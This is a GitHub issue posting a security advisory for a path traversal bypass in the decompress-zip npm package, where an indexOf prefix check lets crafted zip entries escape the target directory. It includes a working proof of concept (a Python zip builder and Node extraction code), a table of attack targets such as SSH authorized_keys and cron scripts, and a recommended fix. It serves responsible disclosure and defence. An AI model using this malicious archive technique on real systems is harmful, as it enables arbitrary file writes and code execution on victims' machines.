Skip to content

Security: Path traversal bypass in restrict option (indexOf prefix confusion) — v0.3.3 #76

@engineernaman

Description

@engineernaman

SECURITY ADVISORY: PATH TRAVERSAL BYPASS IN DECOMPRESS-ZIP

SUMMARY

Package: decompress-zip
npm: https://www.npmjs.com/package/decompress-zip
Repository: https://github.com/bower/decompress-zip
Affected Versions: 0.3.2, 0.3.3 (latest), and 0.2.2
Weekly Downloads: ~90,000
Severity: HIGH (CVSS 3.1 est. 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Researchers: Soumy Naman Srivastava (Cyber Imposter), with AI-assisted code review
Date: April 10, 2026

DESCRIPTION

The decompress-zip npm package versions 0.2.2, 0.3.2, and 0.3.3 (latest) contain a path traversal vulnerability that bypasses the restrict security option. This option was introduced specifically to prevent Zip Slip attacks (SNYK-JS-DECOMPRESSZIP-73598), but the implementation uses String.indexOf() for path validation, which can be bypassed via directory-name prefix confusion.

When restrict: true (the default), the library checks whether the resolved extraction destination starts with the target path. However, indexOf performs a simple substring match, not a directory-boundary-aware comparison. An attacker can craft a zip archive containing entries that resolve to paths outside the target directory while still passing the security check.

VULNERABILITY DETAILS

Vulnerable code (lib/decompress-zip.js, present in 0.3.2 and 0.3.3):

if (options.restrict) {
files = files.map(function (file) {
var destination = path.join(options.path, file.path);
if (destination.indexOf(options.path) !== 0) {
throw new Error('You cannot extract a file outside of the target path');
}
return file;
});
}

Root Cause: String.indexOf() checks if the destination string starts with options.path as a raw substring, without verifying a directory separator boundary. When the target directory name is a prefix of a sibling directory, the check passes incorrectly.

Example:

  • options.path = /tmp/app_data
  • Malicious zip entry: ../app_data_backup/evil.js
  • Resolved: path.join("/tmp/app_data", "../app_data_backup/evil.js") → /tmp/app_data_backup/evil.js
  • Check: "/tmp/app_data_backup/evil.js".indexOf("/tmp/app_data") → 0 ✓ PASSES (false negative)
  • Result: File written to /tmp/app_data_backup/evil.js — OUTSIDE THE TARGET DIRECTORY

PROOF OF CONCEPT

Confirmed against: decompress-zip@0.3.3 (latest), Node.js, April 10 2026.

Step 1: Create malicious zip

import zipfile, io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('readme.txt', 'benign file')
zf.writestr('../app_data_backup/evil.js', 'console.log("pwned")')

with open('poc_bypass.zip', 'wb') as f:
f.write(buf.seek(0) or buf.read())

Step 2: Extract with restrict: true

var DecompressZip = require('decompress-zip'); // v0.3.3
var fs = require('fs');

var unzipper = new DecompressZip('poc_bypass.zip');

unzipper.on('extract', function() {
// File written OUTSIDE /tmp/app_data despite restrict: true
console.log(fs.existsSync('/tmp/app_data_backup/evil.js')); // true
console.log(fs.readFileSync('/tmp/app_data_backup/evil.js', 'utf8'));
// Output: console.log("pwned")
});

unzipper.extract({
path: '/tmp/app_data',
restrict: true // default — supposedly prevents path traversal
});

Result:

Extraction complete. Results:
[
{ "stored": "readme.txt" },
{ "stored": "../app_data_backup/evil.js" }
]

!!! VULNERABILITY CONFIRMED !!!
File written OUTSIDE target directory:
Target dir: /tmp/app_data
Escaped to: /tmp/app_data_backup/evil.js
Content: console.log("pwned")

EXPLOITABLE SCENARIOS

options.path | Zip entry | Escapes to | Impact
/tmp/app_data | ../app_data_backup/evil.js | /tmp/app_data_backup/evil.js | Arbitrary file write
/home/user | ../username/.ssh/authorized_keys | /home/username/.ssh/authorized_keys | SSH key injection
/var/www | ../www-data/cron.sh | /var/www-data/cron.sh | Code execution
/opt/app | ../application/config.yml | /opt/application/config.yml | Config overwrite

Constraint: The target extraction directory name must be a prefix of the escaped directory name. This is a realistic constraint in many deployments (e.g., app / app_backup, data / database, www / www-data).

IMPACT

  • Arbitrary file write outside the intended extraction directory
  • Potential remote code execution if executable or config files are overwritten
  • Bypasses the security mitigation that was specifically added to prevent this class of attack
  • Affects all users of decompress-zip 0.2.2+ who rely on restrict: true (the default)
  • ~90,000 weekly downloads on npm

RECOMMENDED FIX

Replace the indexOf check with a directory-boundary-aware comparison:

// Option A: Use path.relative
if (options.restrict) {
files = files.map(function (file) {
var destination = path.join(options.path, file.path);
var relative = path.relative(options.path, destination);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('You cannot extract a file outside of the target path');
}
return file;
});
}

TIMELINE

2026-04-10 | Vulnerability identified and confirmed with PoC
TBD | Vendor notification via GitHub issue / npm security
TBD | MITRE CVE request
TBD+90d | Public disclosure (if no response)

REFERENCES

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions